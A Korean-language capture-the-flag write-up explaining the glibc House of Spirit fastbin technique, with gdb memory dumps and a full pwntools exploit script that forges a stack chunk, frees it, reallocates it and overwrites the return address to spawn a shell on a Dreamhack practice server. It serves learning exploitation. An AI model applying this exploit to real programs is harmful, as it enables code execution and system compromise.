개념정리
House of Spirit은 fastbin을 공격하는 기법으로, 같은 크기만큼 재할당 하는 경우에는 같은 주소를 반환하는 fastbin 특성을 이용한다. free()
함수의 인자를 조작해서 임의 메모리를 해제할 수 있을 때 사용할 수 있는 기법이다.
정확히는 스택/힙에 fake chunk size를 쓰고 해당 주소에서 0x8을 더한 주소를 free 할 수 있는 경우에 발생한다.
○ House of force와의 차이점
House of force은 실제 Top chunk size
를 조작하는 공격 기법이지만, House of Spirit은 Top chunk size를 변경할 수 없는 경우에 fake chunk
를 구성해서 공격하는 기법이라는 차이점이 있다.
예를 들어보자.
다음과 같이 스택에 prev_size와 size가 저장됐다고 하자. (prev_size = 0x1, size = 0x61)
gdb-peda$ x/10gx 0x7fff88ab8860-0x10
0x7fff88ab8850: 0x0000000000000001 0x0000000000000061 // prev_size + size
0x7fff88ab8860: 0x0000000000000000 0x0000000000000000
0x7fff88ab8870: 0x0000000001560260 0x0000000000000000
0x7fff88ab8860
을 free하면, 0x1과 0x61를 prev_size와 size로 오인하면서 0x7fff88ab8850
을 free chunk로 사용한다.
참고로 chunk 구조는 다음과 같다.
// malloc chunk
prev_size + size + data
// free chunk
prev_size + size + fd + bk
다음으로 동일한 fastbin 크기로 할당했다고 하자.
gdb-peda$ x/30gx 0x7fff88ab8860-0x10
0x7fff88ab8850: 0x0000000000000003 0x0000000000000050 // prev_size + size
0x7fff88ab8860: 0x4141414141414141 0x4141414141414141 // data
0x7fff88ab8870: 0x00007fff88ab8928 0x00007fff88ab8860
새로 할당한 영역에 데이터를 작성하면, 0x7fff88ab8860
주소부터 데이터가 할당된다.
이전에 구성한 fake chunk 영역을 alloc chunk로 할당하여 사용한 것이다.
이런 식으로 fake chunk를 구성해서 free chunk로 사용하고 이를 alloc chunk로 사용하도록 유도해서 임의 메모리를 조작하는 기법을 house of spirit
이라고 한다.
문제풀이
void get_shell() {
execve("/bin/sh", NULL, NULL);
}
house of spirit으로 RET을 get_shell()로 조작하고 실행하는 것이 목적이다.
initialize();
memset(name, 0, sizeof(name));
printf("name: ");
read(0, name, sizeof(name)-1);
먼저, name을 입력할 수 있는 동시에 name 변수의 주소를 출력해준다.
- 공격에 활용할 stack 영역 주소를 알려주는 역할이라고 이해하면 된다.
다음은 실행 예제다.
name: keyme
0x7ffe8c79eac0: keyme
우리는 name을 fake chunk로 사용하기 위해 prev_size와 size를 입력할 것이고 출력된 name 주소를 활용할 것이다.
switch(idx) {
case 1:
if(i > 10) {
return -1;
}
printf("Size: ");
scanf("%d", &size);
ptr[i] = malloc(size);
if(!ptr[i]) {
return -1;
}
printf("Data: ");
read(0, ptr[i], size);
i++;
break;
case 2:
printf("Addr: ");
scanf("%ld", &addr);
free(addr);
break;
case 3:
return 0;
default:
break;
}
다음으로 size만큼 메모리를 할당하는 1번 메뉴와 특정 주소를 free 할 수 있는 2번 메뉴가 존재한다.
name 주소 + 0x10
주소를 free하면 해당 영역을 free chunk로 사용하게 된다. 이후 동일한 fastbin 크기로 alloc하면 fake chunk가 alloc chunk로 할당되고 이를 이용해서 RET overwrite를 수행할 수 있다.
fake_size = p64(0) + p64(0x50)
p.sendafter(": ", fake_size)
name에 prev_size + size
를 입력하고 name + 0x10
위치를 free하면 fake chunk를 free chunk로 사용할 수 있다.
0x7ffcea6a0560: 0x0000000000000000 0x0000000000000050 <-- name <= prev_size + size
0x7ffcea6a0570: 0x0000000000000000 0x0000000000000000 <-- free(0x7ffcea6a0570)
0x7ffcea6a0580: 0x00007ffcea6a0670 0x0000000000000000
0x7ffcea6a0590: 0x0000000000400b20 0x00007f5e5c09bb97 <-- sfp | ret
0x7ffcea6a05a0: 0x0000000000000001 0x00007ffcea6a0678
fake chunk를 구성하고 name + 0x10
위치를 free한 결과다.
0x7ffcea6a0560: 0x0000000000000000 0x0000000000000050 <-- name
0x7ffcea6a0570: 0x4141414141414141 0x4141414141414141 <-- malloc(0x7ffcea6a0570)
0x7ffcea6a0580: 0x4141414141414141 0x4141414241414141
0x7ffcea6a0590: 0x4141414141414141 0x0000000000400940 <-- sfp | ret(0x400940 -> get_shell)
0x7ffcea6a05a0: 0x0000000000000001 0x00007ffcea6a0678
동일한 크기로 할당하면 위와 같이 +0x10
위치부터 데이터가 할당된다.
- fake chunk가 alloc chunk로 사용된 것을 확인할 수 있다.
alloc chunk를 이용해서 RET을 overwrite하면 쉘을 획득할 수 있다.
from pwn import *
import warnings
warnings.filterwarnings('ignore')
p = remote('host3.dreamhack.games', 11422)
#p = process('./house_of_spirit')
e = ELF('./house_of_spirit')
get_shell = e.sym["get_shell"]
def add(size, data):
p.sendlineafter("> ", "1")
p.sendlineafter(": ", size)
p.sendafter(": ", data)
def free(addr):
p.sendlineafter("> ", "2")
p.sendlineafter(": ", addr)
# alloc fake chunk size
fake_size = p64(0) + p64(0x50)
p.sendafter(": ", fake_size)
# leak fake chunk addr
stack = int(p.recvuntil(b":").replace(b":",b"").decode(), 16)
print(hex(stack))
# free area == heap area
free(str(stack + 0x10))
payload = b"a" * 0x28
payload += p64(get_shell)
# size = fake size - 0x10 & RET overwrite
add(str(0x40), payload)
p.sendlineafter("> ", "3")
p.interactive()
reference
[dreamhack] - Heap Allocator Exploit
https://www.lazenca.net/pages/viewpage.action?pageId=1148022